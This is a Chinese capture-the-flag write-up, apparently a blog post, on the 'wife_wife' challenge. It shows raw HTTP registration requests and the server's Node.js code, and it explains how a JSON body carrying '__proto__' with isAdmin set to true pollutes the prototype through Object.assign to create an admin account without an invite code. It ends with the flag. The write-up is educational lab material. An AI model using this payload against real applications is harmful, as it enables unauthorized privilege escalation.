wife_wife ctf

wife_wife

来源

网站可以登录可以注册,除此之外没别的了。随便注册个用户登录也只能得到假flag。注册界面抓个包,包的格式如下:

POST /register HTTP/1.1
Host: 61.147.171.105:49801
Content-Length: 47
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://61.147.171.105:49801
Referer: http://61.147.171.105:49801/register.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"username":"b","password":"b","isAdmin":false}

直接把false改成true重发是没用的。可以看看github上别人给出的源码

app.post('/register', (req, res) => {
    let user = JSON.parse(req.body)
    if (!user.username || !user.password) {
        return res.json({ msg: 'empty username or password', err: true })
    }
    if (users.filter(u => u.username == user.username).length) {
        return res.json({ msg: 'username already exists', err: true })
    }
    if (user.isAdmin && user.inviteCode != INVITE_CODE) {
        user.isAdmin = false
        return res.json({ msg: 'invalid invite code', err: true })
    }
    let newUser = Object.assign({}, baseUser, user) //就是这里,原型链污染
    users.push(newUser)
    res.json({ msg: 'user created successfully', err: false })
})

查阅资料,原来Object.assign也能触发原型链污染。let newUser = Object.assign({}, baseUser, user)的作用是把baseUser和user的属性合并后拷贝到{}中,即newUser是baseUser和user的集合体。baseUser猜测是user类似父类的东西,user应该就是上面的{"username":"b","password":"b","isAdmin":false}部分了。直接bp发包:

POST /register HTTP/1.1
Host: 61.147.171.105:49801
Content-Length: 62
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://61.147.171.105:49801
Referer: http://61.147.171.105:49801/register.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"username":"e","password":"e","__proto__":{"isAdmin":true}}

然后登录注册的用户即可得到flag。内部发生了类似下面的情况:

let baseUser={};
let data='{"username":"e","password":"e","__proto__":{"isAdmin":true}}';
let user= JSON.parse(data);
console.log(user);
console.log(user.isAdmin); //这里输出的是undefined,故不会进入下面的if语句强制将user.isAdmin设为false
let INVITE_CODE="whatever";
if (user.isAdmin && user.inviteCode != INVITE_CODE) {
        user.isAdmin = false
}
let newUser = Object.assign({}, baseUser, user) //触发原型链污染
console.log(newUser.isAdmin);

看了这篇文章相信这道题就很简单了。原型链污染不太准确的理解就是“父类影响子类”,一个子类继承于父类后,父类有什么属性子类就有什么属性。比如这里我们的注册信息data按照json的形式传入,JSON.parse后得到一个对象。这个对象有3个键名,username,password和__proto__。比较容易搞混的地方来了,这个__proto__是键名,单纯是个键名,值为{“isAdmin”:true},而不是类的原型对象prototype。这点很重要,如果我们把测试代码稍微修改一下:

let baseUser={};
//let data='{"username":"e","password":"e","__proto__":{"isAdmin":true}}';
//let user= JSON.parse(data);
let user={"username":"e","password":"e","__proto__":{"isAdmin":true}};
console.log(user);
console.log(user.isAdmin); //输出true,导致进入下面的if语句将isAdmin强行改为false
let INVITE_CODE="whatever";
if (user.isAdmin && user.inviteCode != INVITE_CODE) {
        user.isAdmin = false
}
let newUser = Object.assign({}, baseUser, user) //那这里的原型链污染也没用了,子类后定义的属性值会覆盖父类的
console.log(newUser.isAdmin);

这里的user直接就是个类,“__proto__“不是键名,而是类的原型对象prototype。这样就会有两个问题,第一,当console.log(user.isAdmin);尝试读取isAdmin属性时会顺着上去找父类的,得到true,进入if语句强制赋值全部白给;第二,__proto__不是键名,后面Object.assign不会拷贝到newUser上。总之就是记住,原型链污染需要在JSON解析的情况下进行。

最后Object.assign({}, baseUser, user)把user的键全部拷贝给newUser。现在newUser就有isAdmin属性了,还是true,自然就能拿到flag了。

 根据回显可以看出注册管理员用户成功

 登录管理员账号即可获得flag

Flag

CatCTF{test_flag_h0w_c@n_I_l1ve_w1th0ut_nilou}

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值